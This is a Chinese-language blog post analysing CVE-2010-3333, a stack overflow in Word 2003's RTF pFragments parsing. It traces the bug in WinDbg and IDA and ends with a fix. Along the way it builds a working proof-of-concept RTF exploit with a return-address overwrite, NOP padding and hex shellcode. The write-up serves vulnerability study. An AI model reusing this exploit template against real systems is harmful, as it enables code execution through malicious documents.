CVE-2010-3333漏洞分析

by Netfairy - 2015-11-08

实验环境 

操作系统:Vmware Windows xp sp1 

Office 版本:Microsoft Office Word 2003 (11.5604.5606) 

漏洞文件:MSO.DLL 11.0.5606.0 

调试器:Windbg:6.12.0002.633 x86 

前言 

MS10-087,CVE-2010-3333 是由于微软的 office 办公软件在处理 RTF 文档的绘图 pFragments 属性时产生的一个栈溢出漏洞。攻击者可以构造恶意的 RTF 文件,当用 WORD 打开恶意构 造的 RTF 文件,WORD 会直接将 RTF 中的数据复制到局部空间而无需验证复制数据的大小, 导致典型的栈溢出。 漏洞分析 下面我将构造一个可用的 POC。我们知道了 word 在处理 RTF 的 pFragments 属性的时候出现 问题,RTF 格式文档参考 http://www.doc88.com/p-33279717171.html。那我可以这样构造这个初始 样本:

{\rtf1{}
{\shp
{\*\shpinst
{\sp
{\sn pfragments
}{\sv
1;1;1111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111}}}}}
上面 1;表示每个元素的大小,接着的 1;表示元素的个数。用 word 打开这个样本,发现 word 崩溃了。


image1.png

用 windbg 附加 word.exe,打开这个样本,调试器崩溃

image2.png

堆栈全被 1111111.。。。覆盖了,看起来有戏,不过这个时候出现访问冲突,那我们就覆盖少 一些 1111.。。。改成下面这样子: 

{\rtf1{}
{\shp
{\*\shpinst
{\sp
{\sn pfragments}{\sv 
1;1;1111111111111111111111111111111111111111111111111111111111111111111111111
1111111}}}}}
重新打开 

image3.png

发现 EIP 是 11111111,也就是我们可以控制的。那么,问题来了,出现漏洞的是哪个函数? 我想到的一个办法是既然11111会写进堆栈,那么我们下个内存写条件断点,当它写1111111 时候断下来,就可以看到此时的栈帧了。看图 0x12a30c 是 11111111111… 所以可以这么写: 

ba w4 0x0012a30c ".if(poi(0x0012a30c)==0x11111111){}.else{gc;}"
重新打开

image4.png

这里就是出现漏洞的关键地方了。Kb 此时的栈帧


0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012a318 30f4cdbd 0012a484 00000000 ffffffff mso!Ordinal6426+0x64d
0012a348 30f4a597 0012a4d0 0012a484 00000000 mso!Ordinal753+0x306e
0012a594 30d4b199 00000000 0012a5d4 00000000 mso!Ordinal753+0x848
0012a5bc 30d4b148 30d4ae32 015f19b8 015f19f0 mso!Ordinal4196+0x61f
0012a5c0 30d4ae32 015f19b8 015f19f0 015f18a0 mso!Ordinal4196+0x5ce
0012a5c4 015f19b8 015f19f0 015f18a0 30dc9d44 mso!Ordinal4196+0x2b8
0012a5c8 015f19f0 015f18a0 30dc9d44 00000000 0x15f19b8
0012a5cc 015f18a0 30dc9d44 00000000 015f1608 0x15f19f0
0012a5d0 30dc9d44 00000000 015f1608 0012b380 0x15f18a0
0012a5d4 00000000 015f1608 0012b380 00000000 mso!Ordinal2940+0x158fc
然后接着单步


image5.png

继续单步,然后程序就到了这里

image6.png

显然 0x30f4cdbd 就是漏洞函数的返回地址,我们可以验证一下,在这个函数下个断点,观 察调用前

image7.png

调用后(步过) 

image8.png

嗯,找到了关键函数:0x30f4cdb8。下面就是跟进这个函数,看看溢出到底发生在哪。 再次载入样本,断在 0x30f4cdb8 入口处,如图

image9.png

接下来单步的时候时刻看着 0x12a31c 的返回地址在哪被覆盖。当我我单步到这里

image10.png

30f4cc93 ff501c call dword ptr [eax+1Ch] //溢出 发生了溢出,重新载入,跟进这个 call。 

image11.png

成功定位溢出点!!!怎么构造呢?前面我覆盖的数据是全 1,看不出哪部分覆盖返回地址你 可以慢慢尝试,变换输入数据,11111122222333334444445555566666777 等等,总能试到 的。经过不懈努力。构造成下面这样就行了: 


{\rtf1{}
{\shp
{\*\shpinst
{\sp
{\sn pfragments}{\sv
1;1;111111111111111111111111111111111111111111111111111122222222}}}}}

image12.png

在调试的时候我发现漏洞函数 0x0x30f4cdb8 的返回是这样的

30F4CD55 retn 14h

所以在覆盖返回地址后面还需要填充 20 个字符。下面把返回地址覆盖为万能跳转 0x7ffa4512+920 个 nop+shellcode。 来试一下:

{\rtf1{}
{\shp
{\*\shpinst
{\sp
{\sn pfragments}{\sv
1;1;11111111111111111111111111111111111111111111111111111245fa7f90909090909090
90909090909090909090909090cc}}}}}
重新打开


image13.png

栈帧如我们所想,但是出现访问冲突,猜想是由于污染了后面的参数导致的,所以先看看原 来后面的参数是什么样的:


bp 0x30f4cdb8。
0012a31c ad cd f4 30 84 a4 12 00 00 00 00 00 ff ff ff ff 00 00 ...0..............
0012a32e 00 00 c8 19 5f 01 68 a9 12 00 d4 a5 12 00 80 b3 12 00 ...._.h...........
0012a340 f8 a5 12 00 00 00 00 00 2c a5 12 00 97 a5 f4 30 d0 a4 ........,......0..
0012a352 12 00 84 a4 12 00 00 00 00 00 c8 19 5f 01 d4 a5 12 00
改成这样: 



{\rtf1{}
{\shp
{\*\shpinst
{\sp
{\sn pfragments}{\sv
1;1;11111111111111111111111111111111111111111111111111111245fa7f84a41200000000
00ffffffff00000000c8195f01cc}}}}}
发现还是访问冲突,最好改成下面就好了 

{\rtf1{}
{\shp
{\*\shpinst
{\sp
{\sn pfragments}{\sv
1;1;11111111111111111111111111111111111111111111111111111245fa7f00000000000000
00000000000000000000000000cc}}}}}

image14.png

赶紧加上 shellcode,试试

31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2
001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c
01c78b7caffc01c76879202001686661697268204e657489e1fe490b31c05150ffd7
所以最后的 poc 是这样的: 

{\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv
1;1;11111111111111111111111111111111111111111111111111111245fa7f00000000000000
0000000000000000000000000031d2b230648b128b520c8b521c8b42088b72208b12807e0c337
5f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e0845786974
75e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879202001686661697268204e657489e1fe
490b31c05150ffd7}}}}}
保存为.doc,直接打开它

 image15.png

Boom!!!shellcode 执行成功!!!有一点没明白,为啥要覆盖为 000000 才不会访问冲突。这 个先保留,有兴趣你就逆向看看吧,明白了记得告诉我 netfairy@qq.com。 然后我用 IDA 逆向了这个漏洞,具体过程就不写了,发现漏洞在这:

image16.png

Eax+8 指向的数据使我们可以控制的,它直接传给 ECX 而不经过任何验证,后面的 rep movsd 又是以 ECX 为大小进行复制的

image17.png

而复制的目的地址只有 20 个字节大小,所以如果我们传进来的大小足够大,就能覆盖到返 回地址。经过我们分析,大家看下面: 

{\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv
1;1;11111111222233111111111111111111111111111111111111111245fa7f00000000000000
0000000000000000000000000031d2b230648b128b520c8b521c8b42088b72208b12807e0c337
5f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e0845786974
75e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879202001686661697268204e657489e1fe
490b31c05150ffd7}}}
2222 就是复制的大小

 image18.png

但是最后还要 shr ecx,2,得到的 ECX 才是最后要复制的大小。image19.png

上面的 33 就是复制的开始。好了,漏洞分析到此结束,感兴趣的朋友可以深入分析它。

总结 

本漏洞形成的原因就是信任用户传进来的数据,没有进行必要的检查。所以攻击者可以构造 恶意的 rtf 文件,空间复制的数据大小,可以巧妙的布置栈空间,控制程序的流程,从而执 行任意代码,修补的办法办法就是在复制之前加一个验证,如果大于 20 字节,则跳转到失 败。